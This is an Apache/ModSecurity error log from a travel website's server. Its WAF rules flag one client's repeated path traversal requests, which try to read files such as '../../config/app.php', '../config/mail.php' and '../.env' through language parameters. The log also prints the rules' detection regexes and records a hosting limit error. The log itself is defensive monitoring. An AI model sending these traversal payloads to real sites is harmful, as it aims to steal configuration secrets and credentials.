[Fri Jul 17 08:55:07.846143 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MHwAAAAc"]
[Fri Jul 17 08:55:07.846238 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../config/app.php&cb=RWAp1cjw3dNEYQvIPFngQqkHazd6fg4Ipa87BfJx-1to13FrgV11YxIuR_2l-aRszQEsP3YyHKh0uyzZstSb2H6AK02S7RPBXVzt_8UsNgL2VB5xHjwfBvkKsDeYSOsNFiQFN21-zypGj52jKWVnBcMG2pgOm4mMTkSygmJij9e7V8kvEsEcgX_5Hs0VPFpb26PgvLbuyEFa5iunKSbHyuwC4t2TjF0yOaVexeZ-tkfSuvyQCWmKwc9jquFzspJkS4WtBD-71kxxR0lvv1zjjd0r&token=EZ5JG4CI3POKXEHHQCFHEJCWX7W6ALR4MKI52EJRN3SFJL7E4A7KREL3BBLOWQ2N4TCKVVFFLMOIE6O2Y7IB5Z5CYJERDOAYVRP32PLY4YRVI2EXDDN3S7JKJTV5P2V23JGXWE64MTWWPYQO7E..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MHwAAAAc"]
[Fri Jul 17 08:55:07.846303 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../config/app.php&cb=rwap1cjw3dneyqvipfngqqkhazd6fg4ipa87bfjx-1to13frgv11yxiur_2l-arszqesp3yyhkh0uyzzstsb2h6ak02s7rpbxvzt_8usngl2vb5xhjwfbvkksdeysosnfiqfn21-zypgj52jkwvnbcmg2pgom4mmtksygmjij9e7v8kvesecgx_5hs0vpfpb26pgvlbuyefa5iunksbhyuwc4t2tjf0yoavexez-tkfsuvyqcwmkwc9jqufzspjks4wtbd-71kxxr0lvv1zjjd0r&token=ez5jg4ci3pokxehhqcfhejcwx7w6alr4mki52ejrn3sfjl7e4a7krel3bblowq2n4tckvvfflmoie6o2y7ib5z5cyjerdoayvrp32ply4yrvi2exddn3s7jkjtv5p2v23jgxwe64mtwwpyqo7e..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MHwAAAAc"]
[Fri Jul 17 08:55:07.846346 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MHwAAAAc"]
[Fri Jul 17 08:55:07.846388 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MHwAAAAc"]
[Fri Jul 17 08:55:07.846502 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:lang: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MHwAAAAc"]
[Fri Jul 17 08:55:07.848115 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk1h1WDijTxd1xw5MHwAAAAc"]
[Fri Jul 17 08:55:07.848265 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.848540 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PigAAABk"]
[Fri Jul 17 08:55:07.848589 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PigAAABk"]
[Fri Jul 17 08:55:07.848650 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk1h1WDijTxd1xw5MHwAAAAc"]
[Fri Jul 17 08:55:07.848730 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk1h1WDijTxd1xw5MHwAAAAc"]
[Fri Jul 17 08:55:07.848758 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk1h1WDijTxd1xw5MHwAAAAc"]
[Fri Jul 17 08:55:07.850228 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkw7FYe46zHK_jL3PigAAABk"]
[Fri Jul 17 08:55:07.850375 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.850784 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkw7FYe46zHK_jL3PigAAABk"]
[Fri Jul 17 08:55:07.853305 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfLQAAAA8"]
[Fri Jul 17 08:55:07.853496 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.853897 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk-1pLmPpy2r_2CxfLQAAAA8"]
[Fri Jul 17 08:55:07.855792 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?lang=..%2F..%2Fconfig%2Fmail.php&token=FI8Fp3x3jhBAY9FWoIdf3AGKzeApqpPbifhE2x-nP9pDrhLcIV_7JQfEw40UX6ycz4Vrh7M3Frr5KM2ELoGgXB3JVUPDrsM0BeKgSbDZo7XLi450RFPU9ONIt_qYziNMcYwZLP-2N2uYVWbnd9vn984cZataM2-JLu8KgLSL0eNRizTLh-J7fJlJIusYnR8vNqaDSPNUsUyE6ueyfFac9vuoRl8hRtWBrp-I-mpG2L5uRvRj-qeRkdoNXhFVA0dxb23kP-ei1oQLjQhjXBpOIm3c&extra=DRH7RZGSNMPFKRGRCOZCCE6AFU3OJLKZK332VJIEX73VEUDVRN2MG3FU4RBB6I43XZXNK5Y36RBEZTTRIQJW73SOIQ3FCXTVDPUDZFGYHODC5JUHH3WJ5RGSMSDFCWEL..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-QAAACM"]
[Fri Jul 17 08:55:07.855838 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:lang: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-QAAACM"]
[Fri Jul 17 08:55:07.855885 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../config/mail.php&token=FI8Fp3x3jhBAY9FWoIdf3AGKzeApqpPbifhE2x-nP9pDrhLcIV_7JQfEw40UX6ycz4Vrh7M3Frr5KM2ELoGgXB3JVUPDrsM0BeKgSbDZo7XLi450RFPU9ONIt_qYziNMcYwZLP-2N2uYVWbnd9vn984cZataM2-JLu8KgLSL0eNRizTLh-J7fJlJIusYnR8vNqaDSPNUsUyE6ueyfFac9vuoRl8hRtWBrp-I-mpG2L5uRvRj-qeRkdoNXhFVA0dxb23kP-ei1oQLjQhjXBpOIm3c&extra=DRH7RZGSNMPFKRGRCOZCCE6AFU3OJLKZK332VJIEX73VEUDVRN2MG3FU4RBB6I43XZXNK5Y36RBEZTTRIQJW73SOIQ3FCXTVDPUDZFGYHODC5JUHH3WJ5RGSMSDFCWELBWBZQUB2LDIO7Q..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-QAAACM"]
[Fri Jul 17 08:55:07.855939 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?lang=../../config/mail.php&token=fi8fp3x3jhbay9fwoidf3agkzeapqppbifhe2x-np9pdrhlciv_7jqfew40ux6ycz4vrh7m3frr5km2eloggxb3jvupdrsm0bekgsbdzo7xli450rfpu9onit_qyzinmcywzlp-2n2uyvwbnd9vn984czatam2-jlu8kglsl0enriztlh-j7fjljiusynr8vnqadspnusuye6ueyffac9vuorl8hrtwbrp-i-mpg2l5urvrj-qerkdonxhfva0dxb23kp-ei1oqljqhjxbpoim3c&extra=drh7rzgsnmpfkrgrcozcce6afu3ojlkzk332vjiex73veudvrn2mg3fu4rbb6i43xzxnk5y36rbezttriqjw73soiq3fcxtvdpudzfgyhodc5juhh3wj5rgsmsdfcwelbwbzqub2ldio7q..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-QAAACM"]
[Fri Jul 17 08:55:07.855992 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-QAAACM"]
[Fri Jul 17 08:55:07.856049 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:lang: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-QAAACM"]
[Fri Jul 17 08:55:07.856549 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95swAAAAw"]
[Fri Jul 17 08:55:07.856602 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:language: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95swAAAAw"]
[Fri Jul 17 08:55:07.857209 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt2-QAAACM"]
[Fri Jul 17 08:55:07.857327 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.857613 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt2-QAAACM"]
[Fri Jul 17 08:55:07.858162 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95swAAAAw"]
[Fri Jul 17 08:55:07.858320 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.858679 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95swAAAAw"]
[Fri Jul 17 08:55:07.884965 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: 